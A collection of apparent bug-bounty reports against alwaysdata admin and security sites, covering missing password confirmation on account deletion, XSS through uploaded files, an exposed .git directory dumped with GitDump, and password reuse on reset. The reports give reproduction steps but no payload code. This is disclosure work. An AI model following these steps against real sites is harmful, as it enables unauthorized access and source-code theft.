The application lacks password confirmation on the delete account function which could be abused by an attacker who has access to the user’s account (eg. a public computer the user has not logged out of). From here the attacker could delete a user’s account.
## Business Impact
This vulnerability can lead to reputational damage and indirect financial loss to the company as customers may view the application as insecure.
## Steps to Reproduce
1. Enable a HTTP interception proxy, such as Burp Suite or OWASP ZAP1. Use a browser to navigate to: admin.alwaysdata.com 2. Use delete account functionality1. Intercept the request in a Web Proxy
3. Adjust and forward the following request to the endpoint:
4. Observe that no password confirmation is required

### Bug Report: XSS Vulnerability via File Upload

- Bug Type: Cross-Site Scripting (XSS)
- Affected Site: https://admin.alwaysdata.com

#### Steps to Reproduce
1. Log in to the admin panel at [https://admin.alwaysdata.com](https://admin.alwaysdata.com).
2. Navigate to the Feedback section.
3. Create a new ticket for feedback.
4. Attach a file that contains an embedded XSS payload
5. Submit the feedback with the file attached.
6. After submission, open the file in the ticket view.
7. Observe that a popup appears as a result of the XSS payload execution.

#### Impact
- Security Risk: This vulnerability allows attackers to execute arbitrary JavaScript code in the context of the user's browser.
- Potential Exploits: This can lead to session hijacking, redirecting users to malicious sites, or stealing sensitive user information.
- Severity: High – Since the attack leverages file uploads and can be triggered by opening the file in the browser, it could potentially impact many users who interact with the file.

#### Description
The issue occurs when a file is uploaded with a malicious XSS payload embedded. The uploaded file is not sanitized or filtered correctly, allowing the script to execute when viewed. This vulnerability could lead to a serious security breach, compromising user accounts and system data.

Description:
An exposed .git folder has been discovered on the website https://security.alwaysdata.com, which allows unauthorized access to sensitive files related to the site's source code repository. This could potentially lead to the leakage of sensitive information, such as configuration settings and code, which can facilitate further attacks.

URL:
https://security.alwaysdata.com/.git/config

Details:
By accessing the .git folder, the following sensitive files were found to be publicly accessible:

.git/config
.git/index
.git/packed-refs
.git/info/exclude
.git/logs/HEAD
And many more.

Example of Sensitive Information Exposed:

[core]

  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true

[remote "origin"]

  url = https://github.com/flyspray/flyspray.git
  fetch = +refs/heads/*:refs/remotes/origin/*

[branch "master"]

  remote = origin
  merge = refs/heads/master

Using a tool such as GitDump, the entire .git directory was successfully dumped, providing full access to the contents of the repository. This may lead to further exploitation by attackers.

Exposed URLs:
https://security.alwaysdata.com/.git/index https://security.alwaysdata.com/.git/packed-refs https://security.alwaysdata.com/.git/info/exclude https://security.alwaysdata.com/.git/logs/HEAD

Impact:
Unauthorized Access to Source Code: Attackers can gain access to the complete source code, potentially uncovering proprietary algorithms, logic, and confidential information that could be misused for malicious purposes, including code analysis or redistribution.
Sensitive Information Disclosure: The .git/config file and other repository metadata may contain sensitive information, such as database credentials, API keys, or other secrets, which could allow attackers to gain unauthorized access to critical components of the infrastructure.
Potential for Further Exploitation: With access to the source code and potentially sensitive configuration details, attackers may be able to exploit additional vulnerabilities or gain deeper access to the system.

Remediation:
Remove these files from production systems or restrict access to the .git directory. To deny access to all the .git folders you need to add the following lines in the appropriate context (either global config, or vhost/directory, or from .htaccess):

<Directory ~ ".git">
Order allow,deny
Deny from all
</Directory>

If further information is required, please let me know.

Thanks.

Summary:
The application at https://admin.alwaysdata.com allows users to set their old password as the new password when resetting their password via the "Forgot Password" link. This weakens the security of the platform by not enforcing password uniqueness, which is crucial for maintaining account security, especially after a password reset.

Description:
When a user resets their password via the "Forgot Password" link, the application allows them to reuse their old password as the new password. This behavior reduces the effectiveness of the password reset process, which is meant to provide users with fresh, secure credentials. If the old password was compromised, allowing the user to reset it back to the same password negates the entire purpose of the password reset feature.

Steps to Reproduce:
1.Go to the login page of https://admin.alwaysdata.com and click on Forgot Password.
2.Enter your registered email address and request a password reset link.
3.Use the received password reset link to reset your password.
4.Enter your current/old password as the "New Password" in the password reset form.
5.Confirm the password reset.
6.Notice that the application allows the old password to be reused without any restrictions.

Impact:
Weakens Account Security: Reusing the old password negates the purpose of a password reset, especially if the old password was compromised. This significantly increases the risk of account compromise.
Non-Compliance with Best Practices: Regulatory and security guidelines, such as OWASP and NIST password standards, require that new passwords must differ from previous ones to enhance security.

Recommendation:
Enforce Password History: Track the user’s password history (e.g., the last 5 passwords) and ensure that the newly set password during a reset is not one of the previously used passwords.